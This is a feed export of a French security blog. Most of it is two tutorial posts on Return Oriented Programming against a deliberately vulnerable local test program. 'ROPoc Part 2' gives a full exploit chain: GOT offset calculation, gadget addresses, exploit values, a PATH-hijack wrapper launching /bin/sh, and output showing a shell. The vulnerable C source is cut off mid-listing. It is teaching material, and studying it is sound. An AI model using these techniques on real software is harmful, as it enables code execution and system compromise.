<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1278381685061151760</id><updated>2011-11-23T13:08:50.369+01:00</updated><title type='text'>Plastic Soup Taste</title><subtitle type='html'>Les mamans des autres blogs sont mortes de peur...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5717669851402801796</id><published>2011-08-23T09:33:00.002+02:00</published><updated>2011-08-23T09:37:08.789+02:00</updated><title type='text'>Vanilla Dome Wargame</title><content type='html'>Hello, Pour ceux qui n'utilisent pas Twitter, j'ai travaillé ces derniers temps sur un petit Wargame, disponible ici:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://sm0k.org/dojo/vanilla.php"&gt;https://sm0k.org/dojo/vanilla.php&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;J'espère qu'il vous plaira!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5717669851402801796?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5717669851402801796/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5717669851402801796' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5717669851402801796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5717669851402801796'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2011/08/vanilla-dome-wargame.html' title='Vanilla Dome Wargame'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-4257259038567889957</id><published>2011-01-17T12:49:00.000+01:00</published><updated>2011-01-17T12:50:37.348+01:00</updated><title type='text'>Follow me</title><content type='html'>Suivez moi, et surtout, n'haïssez pas:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/sm0k_"&gt;http://twitter.com/sm0k_ &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-4257259038567889957?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/4257259038567889957/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=4257259038567889957' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4257259038567889957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/4257259038567889957'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2011/01/follow-me.html' title='Follow me'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-5579848460693142262</id><published>2010-12-27T11:34:00.000+01:00</published><updated>2010-12-27T11:36:39.559+01:00</updated><title type='text'>ReChangement de bannière</title><content type='html'>Nouvelle bannière par Spl3en!&lt;br /&gt;&lt;br /&gt;Merci à lui&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5579848460693142262?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5579848460693142262/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5579848460693142262' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5579848460693142262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5579848460693142262'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/12/rechangement-de-banniere.html' title='ReChangement de bannière'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3513987307677846074</id><published>2010-11-09T19:19:00.002+01:00</published><updated>2011-11-23T10:58:10.821+01:00</updated><title type='text'>ROPoc Part 2</title><content type='html'>NB: Ce billet est la suite de mon précédent billet "ROPoc" ; donc, le lire sans avoir lu l'introduction au préalable risque d'être un poil compliqué!&lt;br /&gt;&lt;br /&gt;Après avoir lu et étudié l'article que m'a soufflé &lt;a href="http://mysterie.fr/blog/"&gt;Mysterie&lt;/a&gt; en réponse a mon précédent billet, j'ai décidé d'en reprendre l'exploitation afin d'illustrer un peu mieux la technique présentée.&lt;br /&gt;&lt;br /&gt;Je re-cite l'article original : &lt;a href="http://divine-protection.com/tc/34"&gt;http://divine-protection.com/tc/34&lt;/a&gt; que je trouve, au passage, obscur à souhait, et je ne suis pas le seul.&lt;br /&gt;&lt;br /&gt;Un peu de musique au cas ou et parce que je suis fan :&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/WX4ccnj41lk?fs=1&amp;amp;hl=fr_FR"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/WX4ccnj41lk?fs=1&amp;amp;hl=fr_FR" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="385" width="640"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Principe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;On désire retrouver l'adresse de system(), et ce dynamiquement.&lt;/li&gt;&lt;li&gt;On dispose d'une section non randomizée (.got) qui contient les adresses des fonctions utilisées par notre programme.&lt;/li&gt;&lt;li&gt;On sait que même si la libc est chargée aléatoirement en mémoire, elle est toujours chargée d'un bloc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Donc on peut utiliser une entrée de la GOT pour déterminer précisément l'adresse effective de n'importe quelle fonction de la libc a partir d'offsets préalablement calculés.&lt;br /&gt;&lt;br /&gt;Illustrons un peu ca:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sm0k@wiid&lt;/span&gt; &lt;span style="color: rgb(153, 153, 255);"&gt;~ $&lt;/span&gt; objdump -x poc | grep got&lt;br /&gt;20 .got          00000004  08049ff0  08049ff0  00000ff0  2**2&lt;br /&gt;21 .got.plt      00000028  08049ff4  08049ff4  00000ff4  2**2&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;08049ff0&lt;/span&gt; l    d  .got   00000000              .got&lt;br /&gt;08049ff4 l    d  .got.plt       00000000              .got.plt&lt;br /&gt;08049ff4 l     O .got.plt       00000000              .hidden _GLOBAL_OFFSET_TABLE_&lt;/div&gt;&lt;br /&gt;On repère où démarre la section .got : &lt;span style="color: rgb(255, 102, 102);"&gt;08049ff0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Regardons maintenant ce qu'elle contient pendant l'exécution de notre programme.&lt;br /&gt;&lt;br /&gt;On pose pour cela &lt;span style="color: rgb(153, 255, 153);"&gt;un point d'arrêt sur le 'ret' de main&lt;/span&gt;, puis on lance le programme et on observe la GOT:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;(gdb) &lt;span style="color: rgb(153, 255, 153);"&gt;b *main+361&lt;/span&gt;&lt;br /&gt;Breakpoint 1 at 0x8048683&lt;br /&gt;(gdb) r s&lt;br /&gt;Starting program: /home/sm0k/poc s&lt;br /&gt;[...]&lt;br /&gt;Breakpoint 1, 0x08048683 in main ()&lt;br /&gt;(gdb) x/20x 0x08049ff0&lt;br /&gt;0x8049ff0:      0x00000000      0x08049f20      0xb7fff8e0      0xb7ff5e50&lt;br /&gt;0x804a000 &amp;lt;_global_offset_table_+12&amp;gt; :   0x08048392      &lt;span style="color: rgb(255, 204, 51);"&gt;0xb7ef1fa0&lt;/span&gt;      0xb7f0b580      0xb7eacad0&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x804a010&lt;/span&gt; &amp;lt;_global_offset_table_+28&amp;gt;: &lt;span style="color: rgb(0, 102, 0);"&gt;  0xb7ec19e0&lt;/span&gt;      0xb7ef2260      0xb7edcff0      0x00000000&lt;br /&gt;&lt;br /&gt;(gdb) x/i &lt;span style="color: rgb(255, 204, 0);"&gt;0xb7ef1fa0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;0xb7ef1fa0&lt;/span&gt; &amp;lt;fgets&amp;gt;:     push   %ebp&lt;br /&gt;(gdb) x/i &lt;span style="color: rgb(0, 102, 0);"&gt;0xb7ec19e0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;0xb7ec19e0&lt;/span&gt; &amp;lt;atoll&amp;gt;:     push   %ebp&lt;br /&gt;[...]&lt;/div&gt;&lt;br /&gt;On voit donc que les adresses des fonctions utilisées par notre programme sont chargées dans la GOT à l'exécution....&lt;br /&gt;&lt;br /&gt;Regardons maintenant où est chargé system() :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;(gdb) x/i &lt;span style="color: rgb(102, 255, 255);"&gt;system&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;0xb7ecd520&lt;/span&gt; &amp;lt;system&amp;gt;:    sub    $0xc,%esp&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;System()&lt;/span&gt; commence donc à l'adresse &lt;span style="color: rgb(102, 255, 255);"&gt;0xb7ecd520&lt;/span&gt;. Et à &lt;span style="color: rgb(0, 102, 0);"&gt;0xb7ec19e0 &lt;/span&gt;nous avons &lt;span style="color: rgb(0, 102, 0);"&gt;atoll()&lt;/span&gt;, son adresse est stockée à l'adresse &lt;span style="color: rgb(255, 0, 0);"&gt;0x804a010&lt;/span&gt;, de la GOT.&lt;br /&gt;&lt;br /&gt;Pour les habitués du C, nous pouvons considérer que &lt;span style="color: rgb(255, 0, 0);"&gt;0x804a010 &lt;/span&gt;contient un pointeur vers la fonction &lt;span style="color: rgb(0, 102, 0);"&gt;atoll()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Nous pouvons donc en déduire que &lt;span style="color: rgb(102, 255, 255);"&gt;system()&lt;/span&gt; se situe à (&lt;span style="color: rgb(102, 255, 255);"&gt;0xb7ecd520&lt;/span&gt; - &lt;span style="color: rgb(0, 102, 0);"&gt;0xb7ec19e0&lt;/span&gt;)=&lt;span style="color: rgb(255, 255, 102);"&gt;0xbb40 &lt;/span&gt;(&lt;span style="color: rgb(255, 255, 102);"&gt;47 936&lt;/span&gt; b10) bits de &lt;span style="color: rgb(0, 153, 0);"&gt;atoll()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Comme nous connaissons le pointeur où est stockée l'adresse de &lt;span style="color: rgb(0, 102, 0);"&gt;atoll()&lt;/span&gt;, à savoir &lt;span style="color: rgb(255, 0, 0);"&gt;0x804a010&lt;/span&gt;, nous pouvons dire que:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;adresse de system()&lt;/span&gt; = (&lt;span style="color: rgb(0, 102, 0);"&gt;Valeur contenue à l'adresse &lt;span style="color: rgb(255, 0, 0);"&gt;0x804a010&lt;/span&gt;&lt;/span&gt;) + &lt;span style="color: rgb(255, 255, 102);"&gt;47 936&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous pouvons donc dynamiquement localiser &lt;span style="color: rgb(102, 255, 255);"&gt;system()&lt;/span&gt; !&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Mise en pratique&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;C'est bien beau tout ça mais comment peut on s'en servir?&lt;br /&gt;&lt;br /&gt;C'est là que l'article proposé par &lt;a href="http://mysterie.fr/blog/"&gt;Mysterie&lt;/a&gt; m'a bien aidé!&lt;br /&gt;&lt;br /&gt;L'instruction du type add registre1 [registre2-valeur] nous sauve la vie, mais regardons le shellcode qu'on va utiliser en détail afin de comprendre pourquoi:&lt;br /&gt;&lt;br /&gt;(Je tiens à préciser que les gadgets utilisés ici ne sont peut être pas visibles dans la sortie générée par ROPEME dans mon précédent article. Ceux ci sont toujours générés par le même script mais avec une longueur maximale de 6 instructions par gadgets.)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;pre style="color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048446L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;47936&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;328114200&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; pop eax | pop ebx: On récupère eax puis ebx sur la pile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; &lt;span style="color: rgb(255, 255, 51);"&gt;47936&lt;/span&gt;: Valeur que prendra eax (à savoir l'offset qu'on&lt;br /&gt;vient de calculer)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; &lt;span style="color: rgb(204, 102, 0);"&gt;328114200&lt;/span&gt;: Valeur que prendra ebx &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; et la vous devez vous dire "Waw ca sort d'ou ca?"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; Cette valeur résulte en fait du calcul suivant :&lt;br /&gt;; ( &lt;span style="color: rgb(255, 0, 0);"&gt;0x804A010&lt;/span&gt; + &lt;span style="color: rgb(153, 153, 255);"&gt;0xb8a0008&lt;/span&gt; )=&lt;/span&gt;&lt;span&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;328114200&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; &lt;span style="color: rgb(255, 0, 0);"&gt;0x804A010&lt;/span&gt; étant notre pointeur sur &lt;span style="color: rgb(0, 102, 0);"&gt;atoll()&lt;/span&gt; dans la got&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; et &lt;span style="color: rgb(153, 153, 255);"&gt;0xb8a0008&lt;/span&gt; la valeur ajoutée au pointeur ebx dans&lt;br /&gt;; l'instruction qui va suivre:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804871eL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(153, 153, 255);"&gt;0xb8a0008&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; La premiere instruction ajoute à eax la valeur pointée par &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; ebx+&lt;span style="color: rgb(153, 153, 255);"&gt;0xb8a0008&lt;/span&gt; DONC comme eax =&lt;span style="color: rgb(255, 255, 51);"&gt;0xbb40&lt;/span&gt; (&lt;span style="color: rgb(255, 255, 51);"&gt;47936&lt;/span&gt; b10)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; et que [ebx-&lt;span style="color: rgb(153, 153, 255);"&gt;0xb8a0008&lt;/span&gt;]= &lt;span style="color: rgb(255, 0, 0);"&gt;0x804A010&lt;/span&gt; ALORS&lt;br /&gt;; eax = [&lt;span style="color: rgb(255, 0, 0);"&gt;0x804A010&lt;/span&gt;] + &lt;/span&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;0xbb40&lt;/span&gt; = &lt;span style="color: rgb(102, 255, 255);"&gt;0xb7ecd520&lt;/span&gt; = &lt;span style="color: rgb(102, 255, 255);"&gt;@system()&lt;/span&gt; :)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; NB: les crochets représentent la notion de pointeur en&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; assembleur&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484cfL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x8048174&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; On saute sur eax, et donc &lt;span style="color: rgb(51, 204, 255);"&gt;system()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;; &lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x8048174: &lt;/span&gt;&lt;span style="color: rgb(153, 153, 169);"&gt;Adresse de la chaine "GNU"&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Notre "exploit" final :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;134513734&lt;br /&gt;1035&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;47936&lt;/span&gt;&lt;br /&gt;1036&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;328114200&lt;/span&gt;&lt;br /&gt;1037&lt;br /&gt;134514462&lt;br /&gt;1067&lt;br /&gt;134513871&lt;br /&gt;1071&lt;br /&gt;134513012&lt;br /&gt;1072&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Afin de le tester, créons tout d'abord notre wrapper:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;sm0k@wiid&lt;/span&gt; &lt;span style="color: rgb(153, 153, 255);"&gt;~ $&lt;/span&gt; echo -e "echo \"ROP rules\!\"\n/bin/sh" &amp;gt; GNU &amp;amp;&amp;amp; chmod +x GNU &amp;amp;&amp;amp; export PATH=/home/sm0k:$PATH&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et grand moment, testons cette nouvelle version de notre exploit :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sm0k@wiid&lt;/span&gt; &lt;span style="color: rgb(153, 153, 255);"&gt;~ $&lt;/span&gt; ./poc s&lt;br /&gt;&lt;br /&gt;Will Write 134513734(8048446) at Offset 1035&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6e1c&lt;br /&gt;&lt;br /&gt;Will Write 47936(bb40) at Offset 1036&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6e20&lt;br /&gt;&lt;br /&gt;Will Write 328114200(138ea018) at Offset 1037&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6e24&lt;br /&gt;&lt;br /&gt;Will Write 134514462(804871e) at Offset 1067&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6e9c&lt;br /&gt;&lt;br /&gt;Will Write 134513871(80484cf) at Offset 1071&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6eac&lt;br /&gt;&lt;br /&gt;Will Write 134513012(8048174) at Offset 1072&lt;br /&gt;Tab Address : 0xbfbd5df0&lt;br /&gt;WAdress     :0xbfbd6eb0&lt;br /&gt;ROP rules\!&lt;br /&gt;sh-4.1$&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;L'exploit fonctionne à tous les coups!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3513987307677846074?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3513987307677846074/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3513987307677846074' title='9 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3513987307677846074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3513987307677846074'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2010/11/ropoc-part-2.html' title='ROPoc Part 2'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-649149883237714206</id><published>2010-11-03T21:25:00.001+01:00</published><updated>2011-01-26T10:44:27.035+01:00</updated><title type='text'>ROPoc</title><content type='html'>Hola! Ca fesait un moment que j'étais pas venu faire un truc ici :]&lt;br /&gt;&lt;br /&gt;J'avais envie de faire un mini introduction au Return Oriented Programming:&lt;br /&gt;&lt;br /&gt;Considérons le code suivant :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;pre style="color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 128, 115);"&gt;#&lt;/span&gt;&lt;span style="color: rgb(0, 128, 115);"&gt;include &lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(184, 23, 253);"&gt;stdio.h&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;void&lt;/span&gt; insert&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; offset&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; value&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;*&lt;/span&gt; tab&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;printf&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;Tab Address : &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%p&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;tab&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;printf&lt;span style="color: rgb(210, 205, 